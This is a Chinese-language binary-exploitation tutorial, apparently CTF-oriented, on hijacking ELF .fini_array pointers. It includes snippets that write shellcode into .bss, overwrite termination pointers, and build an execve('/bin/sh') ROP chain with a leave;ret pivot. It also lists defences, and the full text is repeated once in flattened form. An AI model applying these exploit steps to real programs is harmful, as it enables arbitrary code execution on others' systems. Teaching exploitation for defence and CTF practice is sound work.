fini_array劫持
字数 2033 2025-08-23 18:31:17

ELF程序终止函数劫持技术详解:.fini_array利用

1. 背景知识:ELF程序启动与终止流程

ELF (Executable and Linkable Format) 程序的执行流程比表面看起来要复杂得多:

  1. 程序起点main函数并不是程序的真正起点,.text段的起点是_start函数
  2. 启动流程
    • _start函数调用__libc_start_main完成程序启动和退出
    • main函数的返回地址实际上是__libc_start_main
  3. 终止流程
    • __libc_csu_fini函数是在main函数退出后,通过__libc_start_main调用的
    • __libc_start_main中,有三个重要参数:
      • rdimain函数地址
      • rcx__libc_csu_init函数地址
      • r8__libc_csu_fini函数地址

2. .fini_array机制详解

.fini_array(或__fini_array)是ELF文件中的一个特殊结构:

  1. 定义.fini_array是一个函数指针数组,用于存储在程序或共享对象终止阶段要执行的清理函数
  2. 执行顺序
    • .init_array相反,.fini_array中的函数会以逆序执行
    • 用于资源清理、关闭文件描述符、释放内存等操作
  3. ELF结构
    • 由链接器在链接阶段生成
    • 属于ELF的特殊节(section)之一
    • 其他重要节包括:
      • .text:包含程序指令
      • .data:包含已初始化的全局和静态数据
      • .bss:包含未初始化的全局和静态数据

3. 利用技术:fini_array劫持

3.1 基本利用原理

通过修改.fini_array中的函数指针,可以控制程序执行流。关键点:

  1. 在动态链接的程序中,通常只需要覆盖.fini_array数组中的原始函数指针
  2. 在静态链接的程序中,执行顺序更复杂:
    • 先执行.fini_array[1]
    • 再执行.fini_array[0]

3.2 利用场景一:动态链接程序

案例特征

  • 无保护机制(NX, PIE, Canary等均未开启)
  • 动态链接编译
  • 提供任意地址写能力

利用步骤

  1. 修改循环控制变量

    • 通常有一个flag变量控制循环次数
    • 通过整数溢出将其改为负数(如将int类型的flag从0改为-1)
    • 示例:write_value(b"0x600bcf", b"0xff")
  2. 覆盖.fini_array指针

    • .fini_array中的函数指针覆盖为可控地址(如.bss段地址)
    • 示例:
      write_value(b"0x600970", b"0x70")
      write_value(b"0x600971", b"0x0a")
      write_value(b"0x600972", b"0x20")
      
  3. 布置shellcode

    • 在可控地址(如.bss段)逐字节写入shellcode
    • 示例:
      shellcode = asm(shellcraft.sh())
      for i in range(len(shellcode)):
          write_value(hex(0x600c60 + i), hex(shellcode[i]))
      
  4. 恢复flag并触发

    • flag改回正常值
    • 退出程序触发.fini_array执行

3.3 利用场景二:静态链接程序

案例特征

  • 静态链接编译
  • 可能去除符号表
  • 提供任意地址写能力

利用步骤

  1. 构造循环执行

    • 修改.fini_array使程序循环执行:
      write(fini_array, p64(libc_csu_fini) + p64(main_addr))
      
    • 这样程序会不断执行main函数
  2. 布置ROP链

    • 在栈上布置系统调用所需的参数:
      write(esp, p64(rax))
      write(esp + 8, p64(0x3b))  # execve系统调用号
      write(esp + 16, p64(rdi))   # pop rdi; ret
      write(esp + 24, p64(bin_sh)) # "/bin/sh"字符串地址
      write(esp + 32, p64(rsi))    # pop rsi; ret
      write(esp + 40, p64(0))      # argv = NULL
      write(esp + 48, p64(rdx))    # pop rdx; ret
      write(esp + 56, p64(0))      # envp = NULL
      write(esp + 64, p64(syscall)) # syscall指令地址
      
  3. 触发ROP执行

    • 修改.fini_array为栈转移指令:
      write(fini_array, p64(leave_ret) + p64(ret))
      
    • leave_ret会执行栈转移,然后执行布置好的ROP链

4. 关键技术与技巧

  1. 整数溢出利用

    • 通过修改int类型变量的最高位使其变为负数
    • 示例:将0x00000000改为0xffffffXX
  2. 静态链接程序的特殊处理

    • 静态链接程序中.fini_array的执行顺序是[1][0]
    • 需要构造循环执行后再触发最终利用
  3. 地址写入技巧

    • 当只能逐字节写入时,需要分解地址逐字节写入
    • 注意小端序存储方式
  4. 栈转移技术

    • leave指令相当于mov rsp, rbp; pop rbp
    • leave; ret组合常用于栈转移攻击

5. 防御措施

  1. 编译时防护

    • 开启RELRO保护(特别是Full RELRO)可以防止.fini_array被修改
    • 开启PIE使地址随机化
    • 开启NX防止执行shellcode
  2. 运行时检测

    • 监控关键节区(如.fini_array)的修改
    • 检查函数指针的合理性
  3. 代码审计

    • 检查是否存在任意地址写漏洞
    • 验证循环控制变量的边界条件

6. 扩展思考

  1. 其他可劫持的ELF结构

    • .init_array:程序初始化函数数组
    • GOT表:全局偏移表
    • DTORS:旧版ELF的析构函数表
  2. 组合利用技术

    • 结合信息泄露绕过ASLR
    • 结合ROP绕过NX
    • 结合堆漏洞实现更复杂的利用

通过深入理解ELF结构和程序执行流程,.fini_array劫持技术可以成为二进制漏洞利用中的重要武器,同时也提醒我们在程序开发和安全防护中需要重视这些底层机制。

ELF程序终止函数劫持技术详解:.fini_ array利用 1. 背景知识:ELF程序启动与终止流程 ELF (Executable and Linkable Format) 程序的执行流程比表面看起来要复杂得多: 程序起点 : main 函数并不是程序的真正起点, .text 段的起点是 _start 函数 启动流程 : _start 函数调用 __libc_start_main 完成程序启动和退出 main 函数的返回地址实际上是 __libc_start_main 终止流程 : __libc_csu_fini 函数是在 main 函数退出后,通过 __libc_start_main 调用的 在 __libc_start_main 中,有三个重要参数: rdi → main 函数地址 rcx → __libc_csu_init 函数地址 r8 → __libc_csu_fini 函数地址 2. .fini_ array机制详解 .fini_array (或 __fini_array )是ELF文件中的一个特殊结构: 定义 : .fini_array 是一个函数指针数组,用于存储在程序或共享对象终止阶段要执行的清理函数 执行顺序 : 与 .init_array 相反, .fini_array 中的函数会以逆序执行 用于资源清理、关闭文件描述符、释放内存等操作 ELF结构 : 由链接器在链接阶段生成 属于ELF的特殊节(section)之一 其他重要节包括: .text :包含程序指令 .data :包含已初始化的全局和静态数据 .bss :包含未初始化的全局和静态数据 3. 利用技术:fini_ array劫持 3.1 基本利用原理 通过修改 .fini_array 中的函数指针,可以控制程序执行流。关键点: 在动态链接的程序中,通常只需要覆盖 .fini_array 数组中的原始函数指针 在静态链接的程序中,执行顺序更复杂: 先执行 .fini_array[1] 再执行 .fini_array[0] 3.2 利用场景一:动态链接程序 案例特征 : 无保护机制(NX, PIE, Canary等均未开启) 动态链接编译 提供任意地址写能力 利用步骤 : 修改循环控制变量 : 通常有一个 flag 变量控制循环次数 通过整数溢出将其改为负数(如将 int 类型的 flag 从0改为-1) 示例: write_value(b"0x600bcf", b"0xff") 覆盖.fini_ array指针 : 将 .fini_array 中的函数指针覆盖为可控地址(如 .bss 段地址) 示例: 布置shellcode : 在可控地址(如 .bss 段)逐字节写入shellcode 示例: 恢复flag并触发 : 将 flag 改回正常值 退出程序触发 .fini_array 执行 3.3 利用场景二:静态链接程序 案例特征 : 静态链接编译 可能去除符号表 提供任意地址写能力 利用步骤 : 构造循环执行 : 修改 .fini_array 使程序循环执行: 这样程序会不断执行 main 函数 布置ROP链 : 在栈上布置系统调用所需的参数: 触发ROP执行 : 修改 .fini_array 为栈转移指令: leave_ret 会执行栈转移,然后执行布置好的ROP链 4. 关键技术与技巧 整数溢出利用 : 通过修改 int 类型变量的最高位使其变为负数 示例:将 0x00000000 改为 0xffffffXX 静态链接程序的特殊处理 : 静态链接程序中 .fini_array 的执行顺序是 [1] → [0] 需要构造循环执行后再触发最终利用 地址写入技巧 : 当只能逐字节写入时,需要分解地址逐字节写入 注意小端序存储方式 栈转移技术 : leave 指令相当于 mov rsp, rbp; pop rbp leave; ret 组合常用于栈转移攻击 5. 防御措施 编译时防护 : 开启RELRO保护(特别是Full RELRO)可以防止 .fini_array 被修改 开启PIE使地址随机化 开启NX防止执行shellcode 运行时检测 : 监控关键节区(如 .fini_array )的修改 检查函数指针的合理性 代码审计 : 检查是否存在任意地址写漏洞 验证循环控制变量的边界条件 6. 扩展思考 其他可劫持的ELF结构 : .init_array :程序初始化函数数组 GOT 表:全局偏移表 DTORS :旧版ELF的析构函数表 组合利用技术 : 结合信息泄露绕过ASLR 结合ROP绕过NX 结合堆漏洞实现更复杂的利用 通过深入理解ELF结构和程序执行流程, .fini_array 劫持技术可以成为二进制漏洞利用中的重要武器,同时也提醒我们在程序开发和安全防护中需要重视这些底层机制。